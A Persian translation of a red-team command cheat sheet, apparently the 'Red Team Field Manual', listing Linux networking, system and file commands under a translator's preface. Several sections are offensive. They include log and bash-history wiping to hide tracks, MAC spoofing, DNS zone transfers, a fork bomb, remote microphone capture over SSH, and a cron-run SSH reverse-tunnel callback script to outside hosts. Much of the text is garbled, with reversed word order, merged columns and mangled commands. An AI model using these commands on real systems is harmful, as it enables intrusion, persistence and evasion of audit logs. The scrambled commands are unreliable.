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  گفتار پيش
Red Team كشد مي چالش به وضعيت امنيتي، بهبود رايب را ها سازمان كه است مستقل گروه يك. 

 بررسي را آينده هاي جايگزين كه دارد هايي تيم رد ،)غيرنظامي و نظامي( متحده ايالات اطلاعاتي جامعه
 كسب. نويسند مي كردند، چه مي بودند خارجي جهان رهبران هاآن اگر اينكه مورد در را تيمقالا و كنند مي
 هايي گذاري سرمايه دفاعي پيمانكاران/دولت پيمانكاران عنوان به كه هاييآن ويژه به ،خصوصي كارهاي و
 مديدي مدت ،CIA مانند متحده ايالات دولتي هاي سازمان وIBM ،  SAIC مانند دهند مي انجام را
 .كنند مي استفاده ها تيم رد از كه ستا

 اطلاعي ،كنند مي ارزيابي را ها سازمان امنيت و دهند مي انجام نفوذ تست كه از افرادي ،كاركنان اغلب
 هاي تمرين ديگر به نسبت ،سازمان امنيتي آمادگي از تر واقعي تصوير يك ها تيم رد از نوع اين. ندارند
  .دهند مي ارائه كنند مي اعلام را آن انجام كه امنيتي

 است سفيد كلاه هكرهاي از گروهي منظور ،دشو مي استفاده هك دنياي در تيم رد ي واژه از كه هنگامي 
 حمله مهاجم عنوان به آن ديجيتالي هاي ساختزير به سازمان، يك دفاعي هاي قابليت تست منظور به كه
 براي كه است فرايند يك تيم رد ،سخن ديگر به). شود مي شناختهنيز  "نفوذ تست" عنوان به( كنند مي

 براي مهاجم يك رويكرد گرفتن نظر در با ،امنيت تست و سيستم هاي پذيري آسيب و شبكه شناسايي
 است، امنيت افزايش ،تيم رد نهايي هدف كه آنجا از. است شده طراحي ،داده به دسترسي/شبكه/سيستم

   .شود مي ناميده نيز "اخلاقي هك" فرايند اين

ده شود. اين نياز داريد آوربراي تبديل شدن به يك هكر  كه هايي فرمانشده است  تلاشدر اين كتاب 
هاي  ست بلكه نگاهي مختصر هم به سيستمهاي عامل ويندوز يا لينوكس ني كتاب محدود به سيستم

كند  خودداري مي ،اضافي مانند تاريخچه اين كتاب از گفتن اطلاعات اندازد. يونيكس مانند سولاريس مي
هر آن بينيد و  دستورات كاربردي را مي تنهادر اين كتاب  شود. دستورهاي كاربردي مي درنگ وارد  بيو 

با همراه داشتن اين كتاب  نياز داريد وجود دارد. Red Team عضو ي كه براي تبديل شدن به يكچيز
را حفظ كنيد و خواهيد ديد كه همانند يك  هر دستورديگر نيازي نداريد دستورات و پارامترهاي مربوط به 

نگاهي مختصر  واند  دستورات مخرب پوشش داده نشدهتنها  تان خواهد بود. هميشه همراه ،كتاب دستي
  .ها انداخته شده است به دستورات شبكه و پروتكل نيز

  محسن كجباف

  95شهريور 
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  لينوكس شبكه به مربوطدستورهاي 
 دستور  توضيح

watch ss ‐tpشبكه اتارتباط

 anu=udp -netstat ‐ant و TCP ارتباطات

 netstat ‐tulpnهاPID با همراه ارتباطات

 lsof ‐iشده ايجاد ارتباطات

 SMBsmb://ip /share گذاري اشتراك به ي پنجره به دسترسي

 $share user x.x.x.x cويندوز اشتراك نصب

SMBsmbclient ‐U user \\\\ ip \\ share به شدن متصل

 netmaskifconfig eth# ip / cidr و IP تنظيم

 ifconfig eth0:l ip / cidrمجازي رابط تنظيم

 route add default gw gw_ip(دروازه)GW تنظيم

 MTUifconfig eth# mtu [size] اندازه تغيير

MACexport MAC=XX: XX: XX: XX: XX: XX آدرس رتغيي

 MACifconfig int hw ether MAC آدرس تغيير

 MACmacchanger ‐m MAC int آدرس تغيير كردن رديابي

 wifiiwlist int scan داخلي پويشگر

 IPdig ‐x ip براي دامنه جستجوي

 IPhost ip براي دامنه جستجوي

host ‐t SRV _ service _tcp.url.comدامنه SRV جستجوي

 dig @ ip domain ‐t AXrRاس ان دي Xfer ناحيه

 host ‐1 domain namesvrاس ان دي Xfer ناحيه

 VPNip xfrm state list به مربوط موجود كليدهاي چاپ
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 دستور  توضيح

ip addr add ip / cidr dev eth0”مخفي” رابط كردن اضافه

var/log/messages | grep DHCP/شده واگذار DHCP كردن ليست

 IP:Porttcpkill host ip and port port كردن مسدود
 

IPecho "1" /proc/sys/net/ipv4/ip_forward انتقال كردن فعال

DNSecho ''nameserver x.x.x.x'' /etc/resolv.conf سرور يك كردن اضافه

  
  لينوكس سيستم به مربوط اطلاعات

 دستور  توضيح
 IPnbtstat ‐A ip آدرس براي ميزبان نام نگرفت

 idكنوني كاربري نام

 wسيستم به شده وارد كاربران

 who ‐aكاربر به مربوط اطلاعات

 last ‐aاست شده وارد سيستم به كه كاربري آخرين

 ps ‐ef(بالا) فرايندها كردن ليست

 df ‐h(آزاد) شده اشغال فضاي مقدار

 CPUuname ‐a به مربوط هسته/اطلاعات نسخه

 mountشده نصب هاي فايل سيستم

 getent passwdكاربران ليست نمايش

PATHPATH=$PATH:/home/mypath متغير به كردن اضافه

 Pidkill pid با فرايند كردن متوقف

 cat /etc/issueعامل سيستم به مربوط اطلاعات نمايش

 'cat /etc/'releaseعامل سيستم نسخه به مربوط اطلاعات نمايش
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 دستور  توضيح
 cat /proc/versionهسته به مربوط اطلاعات نمايش

 Redhat(rpm ‐‐query ‐all (براي شده نصب هاي بسته

 e(rpm ‐ivh *.rpm‐ كردن حذف براي( RPM نوع از بسته نصب

 Ubuntu(dpkg ‐get‐selections( شده نصب هاي بسته

 r( dpkg ‐I *.deb‐ دنكر حذف براي( DEB نوع از بسته نصب

 Solaris(pkginfo( شده نصب هاي بسته

 which tscsh/csh/ksh/bashاجرايي فايل محل نمايش

 Bashchmod 50 tcsh/csh/ksh براي اجبار با پوسته، كردن غيرفعال
 

  لينوكس سودمنددستورهاي 
 دستور  توضيح

wget http:// url ‐O url.txt ‐o /dev/nullآدرس گرفتن

 IPrdesktop ip براي دور راه از دستكتاپ

scp /tmp/file user@x.x.x.x:/tmp/fileفايل دادن قرار

scp user@ remoteip :/tmp/file /tmp/fileفايل دريافت

 useradd ‐m userكاربر كردن اضافه

passwd userكاربر ي گذرواژه تغيير

 rmuser unarne كاربر حذف

 script ‐a outfileكردن متوقف براي Ctrl‐D:  پوسته كردن ضبط

 apropos subjectمرتبط دستور كردن پيدا

 historyكاربراندستورهاي  به مربوط تاريخچه مشاهده

 num !تاريخچه در # خط اجراي
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  لينوكس در فايل به مربوطدستورهاي 
 دستور  توضيح

diff file1 file2ها فايل مقايسه

rm ‐rf dirاجبار به يركتوريدا يك كردن حذف

shred ‐f ‐u fileفايل يك كردن بازنويسي/پاك

ref_ filetouch ‐r ref_file file زمان كردن منطبق

touch ‐t YYYYMMDDHHSS fileفايل زمان تنظيم

sudo fdisk ‐1متصل هاي ديسك كردن ليست

USBmount /dev/sda# /mnt/usbkey يك نصب

md5sum ‐t fileفايل يك Hash (md5( هش رشته نكرد محاسبه

Hash (md5echo ‐n “str” | md5sum( هش توليد

shalsum fileفايل براي SHA1 نوع ) ازHashهش( رشته

sort ‐uفرد منحصربه خطوط كردن/نمايش مرتب

str''grep ‐c ''str'' file'' خطوط تعداد

tar cf file.tar files ها فايل از tar. ساخت

tar tar xf file.tar.  استخراج

tar czf file.tar.gz files ها فايل از tar.gz. ساخت

tar.gz tar xzf file.tar.gz. استخراج

tar cjf file.tar.bz2 files ها فايل از tar.bz2.  ساخت

tar xjf file.tar.bz2 ها فايل از tar.bz2.  استخراج

gzip file يلفا سازي/تغييرنام فشرده
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 دستور  توضيح

 gz gzip ‐d file.gz. پسوند با فايل كردن خارج فشرده حالت از

 orig.exeupx ‐9 ‐o out.exe orig.exe فايل UPX بندي بسته

 \zipzip ‐r zipname.zip \Directory فايل يك ساخت

 ddفايل از 1K‐3K بلوك برش skip=l000  count=2000  bs=8  if=file 
of=file

\ 9Ksplit ‐b 9K قطعات به لفاي تقسيم file prefix 

 awk 'sub("$"."\r")' unix.txt win.txtويندوز با سازگار txt نوع از فايل

 PDFfind ‐iname file ‐type .pdf هاي فايل كردن پيدا

 findها فايل setuid برايوجو  جست /  ‐perm  ‐4000  ‐o  ‐perm  ‐2000  ‐
exec ls ‐ldb {} \; 

 nixdos2unix file* قالب به تبديل

file fileفايل نوع/اطلاعات كردن مشخص

 chattr (+/‐)i fileتغييرناپذير بيت تنظيم تنظيم/لغو

  لينوكسدستورهاي  ديگر

 دستور  توضيح

 unset HISTFILEسيستم به ورود تاريخ كردن غيرفعال

‐ ssh user@ip arecord ‐ | aplayدور راه از ميكروفون كردن ضبط

 C,C++gcc ‐o outfile myfile.c كردن كامپايل

 init 6كردن) =خاموش0(  دوباره اندازي راه

''# '' Logcat /etc/syslog.conf | grep ‐v هاي فايل كردن ليست

url.comgrep 'href=' file | cut ‐d"/" ‐f3 | grep url | sort ‐u در ها لينك حذف

 با فيتصاد صورت به فايل يك ساخت

 مگابايت 3 اندازه

dd if=/dev/urandom of=file bs=3145728 

count=100 
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  ”شما ردپاي كردن پنهان” براي لينوكسدستورهاي 
 دستور  توضيح

 auth.logecho "" /var/log/auth.log فايل كردن پاك

 Bashecho '''' ~/.bash history در كاربر كنوني تاريخچه كردن پاك

 bash_history.rm ~/.bash histor/ ‐rf فايل كردن پاك

 history ‐cكنوني جلسه تاريخچه كردن پاك

 0export HISTFILESIZE=0 به تاريخچه به مربوط خطوط بيشينه تنظيم

 0export HISTSIZE=0 به تاريخچهدستورهاي  بيشينه تنظيم

 منظور (به سيستم به ورود تاريخچه كردن غيرفعال

 دارد) سيستم از خروج به ازني گذاشتن تأثير

unset HISTFILE 

 $$ kill ‐9كنوني جلسه به دادن خاتمه

 Bashدستورهاي  به مربوط تاريخچه تمام فرستادن
 /dev/null به

ln /dev/null ~/.bash_historj ‐sf

  
  لينوكس فايل سيستم ساختار

 محل  توضيح

 bin/كاربر باينري هاي فايل

 boot/شدن بوت با مرتبط هاي فايل

 dev/سيستم هاي دستگاه براي رابطي

 etc/سيستم پيكربندي هاي فايل

 home/كاربر هاي فايل براي اساسي دايركتوري

 lib/افزار نرم حياتي هاي كتابخانه

 opt/جانبي افزارهاي نرم
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 محل  توضيح

 proc/اجرا حال در و سيستمي هاي برنامه

 root/root كاربر براي Home دايركتوري

 sbin/سيستم مدير به مربوط باينري هاي فايل

 tmp/موقتي هاي فايل

 usr/كمتر حساسيت با ها فايل

 var/سيستم متغير هاي فايل

  لينوكس هاي فايل

 فايل نام  توضيح

 etc/shadow/ هستند. شده هش صورت به كه محلي كاربران

 etc/passwd/ محلي كاربران

 etc/group/ محلي هاي گروه

 etc/rc.d/ كنند. می كار به شروع اندازي راه هنگام در كه هايي رويسس

 etc/init.d/ ها سرويس

IPشده شناخته ميزبان نام و ها /etc/hosts 

 etc/HOSTNAME/ دامنه با ميزبان كامل نام

 etc/network/interfaces/ شبكه پيكربندي

 etc/profile/ متغيرهاي محيطي سيستم

 Ubuntu /etc/apt/sources.list منابع ليست

 etc/resolv.conf/ سرورنام پيكربندي
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 فايل نام  توضيح

 root(/ /home/user/.bash_history/ (همچنين Bash به مربوط تاريخچه

 MAC /usr/share/wireshark/manuf آدرس كننده توليد يا فروشنده جويو جست

 /SSH ~/.ssh شده ذخيره كليدهاي

 در (بيشتر سيستم به ودور ضبط و ثبت به مربوط هاي فايل

 لينوكس)

/var/log 

 var/adm/ (يونيكس) سيستم به ورود ضبط و ثبت به مربوط هاي فايل

 cron /var/spool/cron هاي فايل كردن ليست

 var/log/apache/access.log/ آپاچي به اتصال به مربوط گزارش

 etc/fstab/ ايستا فايل سيستم اطلاعات
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  لينوكس در نويسي اسكريپت
  

PING SWEEP 

for x in {1 .. 254 .. 1};do ping ‐c 1 1.1.1.$x | grep "64 b" | cut ‐d " " ‐f4 ips.txt; done 

  

 دامنه نام فصل و حل سازي خودكار براي Bash اسكريپت

#!/bin/bash 
echo "Enter Class C Range: i.e. 192.168.3" 
read range 
for ip in {1 .. 254 .. 1};do 
host $range.$ip | grep “name pointer” | cut ‐d “ “ ‐f5 
done 

 

 كند)” سقوط” سيستم كه وقتي تا فرايندها (ايجاد Fork بمب

: (){:|: & };: 

 

 DNS معكوسوجوي  جست

for ip in {1 .. 254 .. 1}; do dig ‐x 1.1.1.$ip | grep $ip dns.txt; done;

 

 IP كردن مسدود اسكريپت

#!/bin/sh 
# This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2 
# It assumes 1 is the router and does not ban IPs .20, .21, .22 
i=2 
while 
While [$i ‐le 253 ] 
do 



NIX  11*/  1فصل 

             if [ $i ‐ne 20 ‐a $i ‐ne 21 ‐a $i ‐ne 22 ]; then
                    echo "BANNED: arp ‐s 192.168.1.$i" 
                     arp ‐s 192.168.1.$i 00:00:00:00:00:0a 
             else 
                      echo “IP NOT BANNED: 192.168.1.$i******************************” 
                      echo “********************************************************” 
             fi 
             i= 'expr $i +1' 
done 

 

 SSH برگشت

 توصيه شدت به دقيقه. X هر در تماس به پاسخ منظور به crontab در اسكريپت يك اندازي راه

 به دسترسي ازامتي (بدون كنيد تعريف را عمومي كاربر يك red team كامپيوتر روي بر كه شود مي

 كليد يك به شدن متصل منبع) براي كامپيوتر در (واقع خصوصي كليد يك از اسكريپت پوسته).

 محلي جلسه يك طريق از Red team كرد. خواهد ) استفادهred team كامپيوتر روي (بر سراسري

SSH از زير، مثال (در شود مي متصل هدف به #ssh ‐p4040 localhost كنيد). استفاده  
#!/bin/sh 
# Callback script located on callback source computer (target). 
killall ssh /dev/null 2 &1 
sleep 5 
REMLIS=4040 
REMUSR=user 
HOSTS=''domainl.com domain2.com domain3.com'' 
for LIVEHOST in $HOSTS; 
do 
                     COUNT=$(ping ‐c2 $LIVEHOST | grep  'received' | awk  ‐F  ','      ' { print $2 }  ' | 
awk ' { print $1 } ') 
                         if [ [ $COUNT ‐gt 0 ] ] ; then 
                                    ssh ‐R ${REMLIS}:localhost:22 ‐i 
"/home/${REMUSR}/.ssh/id_rsa" ‐N ${LIVEHOST} ‐1 ${REMUSR} 
fi 




